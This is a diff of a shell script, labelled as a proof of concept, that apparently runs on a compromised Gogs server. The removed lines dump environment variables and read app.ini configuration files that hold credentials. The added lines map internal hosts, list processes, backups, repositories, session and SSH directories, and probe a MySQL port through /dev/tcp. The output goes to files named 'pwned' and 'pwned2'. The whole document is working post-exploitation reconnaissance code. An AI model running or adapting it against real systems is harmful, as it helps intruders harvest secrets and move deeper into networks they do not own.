|
|
@@ -1,16 +1,17 @@
|
|
|
#!/bin/sh
|
|
|
{
|
|
|
-echo "=== pwned by lx1853 ==="
|
|
|
+echo "=== round2 lx1853 ==="
|
|
|
echo "--- id ---"; id
|
|
|
-echo "--- host ---"; hostname; uname -a; pwd
|
|
|
-echo "--- ls / ---"; ls -la /
|
|
|
-echo "--- ls /data ---"; ls -la /data 2>/dev/null
|
|
|
-echo "--- env ---"; env | sort | head -40
|
|
|
-echo "--- app.ini candidates ---"
|
|
|
-for f in /data/gogs/custom/conf/app.ini /app/gogs/custom/conf/app.ini /data/gogs/conf/app.ini /home/git/gogs/custom/conf/app.ini; do
|
|
|
- if [ -f "$f" ]; then echo "### $f"; cat "$f"; fi
|
|
|
-done
|
|
|
-echo "--- find configs ---"
|
|
|
-find / -maxdepth 5 \( -name "app.ini" -o -name "docker-compose*.y*ml" -o -name "*.env" \) -not -path "*/proc/*" 2>/dev/null | head -40
|
|
|
-echo "=== end ==="
|
|
|
-} > pwned 2>&1
|
|
|
+echo "--- resolv ---"; cat /etc/resolv.conf
|
|
|
+echo "--- resolve ---"; for h in gogs-db db mysql redis caddy host.docker.internal; do printf "%s: " $h; getent hosts $h || echo none; done
|
|
|
+echo "--- ps ---"; ps aux 2>/dev/null | head -40
|
|
|
+echo "--- /backup ---"; ls -la /backup 2>/dev/null
|
|
|
+echo "--- repo tree ---"; ls -la /data/git/gogs-repositories/ 2>/dev/null
|
|
|
+for d in /data/git/gogs-repositories/*/; do echo "## $d"; ls -la "$d" 2>/dev/null | head -25; done
|
|
|
+echo "--- local-r ---"; ls /data/gogs/data/tmp/local-r/ 2>/dev/null | head -40
|
|
|
+echo "--- gogs data ---"; ls -la /data/gogs/data/ 2>/dev/null; ls /data/gogs/data/sessions 2>/dev/null | head
|
|
|
+echo "--- ssh ---"; ls -la /data/ssh/ 2>/dev/null
|
|
|
+echo "--- tcp ---"
|
|
|
+timeout 2 sh -c "echo > /dev/tcp/gogs-db/3306" 2>/dev/null && echo "gogs-db:3306 OPEN" || echo "gogs-db:3306 closed"
|
|
|
+echo "=== end2 ==="
|
|
|
+} > pwned2 2>&1
|
poc